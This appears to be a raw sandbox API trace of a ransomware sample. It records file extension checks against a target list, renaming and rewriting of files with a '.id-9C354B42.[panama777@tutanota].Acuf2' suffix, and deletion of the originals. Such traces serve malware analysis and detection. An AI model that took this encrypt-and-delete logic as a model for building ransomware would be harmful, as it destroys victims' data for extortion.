	[0249.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0249.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.843] lstrlenW (lpString=".doc") returned 4
	[0249.843] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.843] lstrlenW (lpString=".docx") returned 5
	[0249.843] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1
	[0249.843] lstrlenW (lpString=".pdf") returned 4
	[0249.844] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.844] lstrlenW (lpString=".xls") returned 4
	[0249.844] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.844] lstrlenW (lpString=".xlsx") returned 5
	[0249.844] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1
	[0249.844] lstrlenW (lpString=".ppt") returned 4
	[0249.844] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.844] lstrlenW (lpString=".zip") returned 4
	[0249.844] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.844] lstrlenW (lpString=".rar") returned 4
	[0249.844] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.844] lstrlenW (lpString=".bz2") returned 4
	[0249.844] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.844] lstrlenW (lpString=".7z") returned 3
	[0249.844] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.844] lstrlenW (lpString=".dbf") returned 4
	[0249.844] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.844] lstrlenW (lpString=".1cd") returned 4
	[0249.844] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.844] lstrlenW (lpString=".jpg") returned 4
	[0249.844] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.844] lstrlenW (lpString=".doc") returned 4
	[0249.844] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.844] lstrlenW (lpString=".docx") returned 5
	[0249.844] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1
	[0249.845] lstrlenW (lpString=".pdf") returned 4
	[0249.845] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.845] lstrlenW (lpString=".xls") returned 4
	[0249.845] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.845] lstrlenW (lpString=".xlsx") returned 5
	[0249.845] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1
	[0249.845] lstrlenW (lpString=".ppt") returned 4
	[0249.845] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.845] lstrlenW (lpString=".zip") returned 4
	[0249.845] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.845] lstrlenW (lpString=".rar") returned 4
	[0249.845] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.845] lstrlenW (lpString=".bz2") returned 4
	[0249.845] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.845] lstrlenW (lpString=".7z") returned 3
	[0249.845] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.845] lstrlenW (lpString=".dbf") returned 4
	[0249.845] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.845] lstrlenW (lpString=".1cd") returned 4
	[0249.845] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63
	[0249.845] lstrlenW (lpString=".jpg") returned 4
	[0249.845] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.845] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0249.845] lstrlenW (lpString="ipscat.xml") returned 10
	[0249.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0249.846] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2592) returned 1
	[0249.846] CloseHandle (hObject=0x294) returned 1
	[0249.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20
	[0249.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.846] lstrlenW (lpString=".doc") returned 4
	[0249.846] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0249.846] lstrlenW (lpString=".docx") returned 5
	[0249.846] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0249.846] lstrlenW (lpString=".pdf") returned 4
	[0249.846] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0249.846] lstrlenW (lpString=".xls") returned 4
	[0249.846] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0249.846] lstrlenW (lpString=".xlsx") returned 5
	[0249.846] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0249.846] lstrlenW (lpString=".ppt") returned 4
	[0249.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0249.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.846] lstrlenW (lpString=".zip") returned 4
	[0249.846] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0249.846] lstrlenW (lpString=".rar") returned 4
	[0249.846] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0249.847] lstrlenW (lpString=".bz2") returned 4
	[0249.847] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0249.847] lstrlenW (lpString=".7z") returned 3
	[0249.847] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0249.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.847] lstrlenW (lpString=".dbf") returned 4
	[0249.847] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0249.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.847] lstrlenW (lpString=".1cd") returned 4
	[0249.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0249.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.847] lstrlenW (lpString=".jpg") returned 4
	[0249.847] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0249.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.847] lstrlenW (lpString=".doc") returned 4
	[0249.847] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0249.847] lstrlenW (lpString=".docx") returned 5
	[0249.847] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0249.847] lstrlenW (lpString=".pdf") returned 4
	[0249.847] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0249.847] lstrlenW (lpString=".xls") returned 4
	[0249.847] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0249.847] lstrlenW (lpString=".xlsx") returned 5
	[0249.847] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0249.847] lstrlenW (lpString=".ppt") returned 4
	[0249.847] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0249.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.848] lstrlenW (lpString=".zip") returned 4
	[0249.848] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0249.848] lstrlenW (lpString=".rar") returned 4
	[0249.848] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0249.848] lstrlenW (lpString=".bz2") returned 4
	[0249.848] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0249.848] lstrlenW (lpString=".7z") returned 3
	[0249.848] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0249.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.848] lstrlenW (lpString=".dbf") returned 4
	[0249.848] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0249.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.848] lstrlenW (lpString=".1cd") returned 4
	[0249.848] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0249.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61
	[0249.848] lstrlenW (lpString=".jpg") returned 4
	[0249.848] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0249.848] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0249.848] lstrlenW (lpString="ipschs.xml") returned 10
	[0249.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0249.848] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2462) returned 1
	[0249.848] CloseHandle (hObject=0x294) returned 1
	[0249.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20
	[0249.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61
	[0249.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61
	[0249.849] lstrlenW (lpString=".doc") returned 4
	[0249.849] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0249.849] lstrlenW (lpString=".docx") returned 5
	[0249.849] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0249.849] lstrlenW (lpString=".pdf") returned 4
	[0249.849] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0249.849] lstrlenW (lpString=".xls") returned 4
	[0249.849] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0249.849] lstrlenW (lpString=".xlsx") returned 5
	[0249.849] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0249.849] lstrlenW (lpString=".ppt") returned 4
	[0249.849] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0249.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61
	[0249.849] lstrlenW (lpString=".zip") returned 4
	[0249.849] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0249.849] lstrlenW (lpString=".rar") returned 4
	[0249.849] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0249.849] lstrlenW (lpString=".bz2") returned 4
	[0249.849] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0249.849] lstrlenW (lpString=".7z") returned 3
	[0249.849] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0249.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61
	[0249.849] lstrlenW (lpString=".dbf") returned 4
	[0249.849] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0252.067] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3133) returned 1
	[0252.067] CloseHandle (hObject=0x2a4) returned 1
	[0252.067] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png")) returned 0x20
	[0252.076] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0252.076] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0252.112] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.113] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.113] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.116] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.116] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.117] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.117] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.118] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.118] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.119] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0253.329] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.329] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.096] GetLastError () returned 0x0
	[0254.096] ReadFile (in: hFile=0x29c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x296f, lpOverlapped=0x0) returned 1
	[0254.122] WriteFile (in: hFile=0x350, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2970, lpOverlapped=0x0) returned 1
	[0254.123] ReadFile (in: hFile=0x29c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.123] WriteFile (in: hFile=0x350, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.123] SetEndOfFile (hFile=0x350) returned 1
	[0254.123] CloseHandle (hObject=0x350) returned 1
	[0254.123] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.123] SetEndOfFile (hFile=0x29c) returned 1
	[0254.197] CloseHandle (hObject=0x29c) returned 1
	[0254.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1
	[0254.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.271] lstrlenW (lpString=".doc") returned 4
	[0254.272] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.272] lstrlenW (lpString=".docx") returned 5
	[0254.272] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.272] lstrlenW (lpString=".pdf") returned 4
	[0254.272] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.272] lstrlenW (lpString=".xls") returned 4
	[0254.272] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.272] lstrlenW (lpString=".xlsx") returned 5
	[0254.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.272] lstrlenW (lpString=".ppt") returned 4
	[0254.272] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.272] lstrlenW (lpString=".zip") returned 4
	[0254.272] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.272] lstrlenW (lpString=".rar") returned 4
	[0254.272] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.272] lstrlenW (lpString=".bz2") returned 4
	[0254.272] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.272] lstrlenW (lpString=".7z") returned 3
	[0254.272] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.272] lstrlenW (lpString=".dbf") returned 4
	[0254.272] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.272] lstrlenW (lpString=".1cd") returned 4
	[0254.272] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.272] lstrlenW (lpString=".jpg") returned 4
	[0254.273] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.273] lstrlenW (lpString=".doc") returned 4
	[0254.273] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.273] lstrlenW (lpString=".docx") returned 5
	[0254.273] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.273] lstrlenW (lpString=".pdf") returned 4
	[0254.273] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.273] lstrlenW (lpString=".xls") returned 4
	[0254.273] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.273] lstrlenW (lpString=".xlsx") returned 5
	[0254.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.273] lstrlenW (lpString=".ppt") returned 4
	[0254.273] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.273] lstrlenW (lpString=".zip") returned 4
	[0254.273] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.273] lstrlenW (lpString=".rar") returned 4
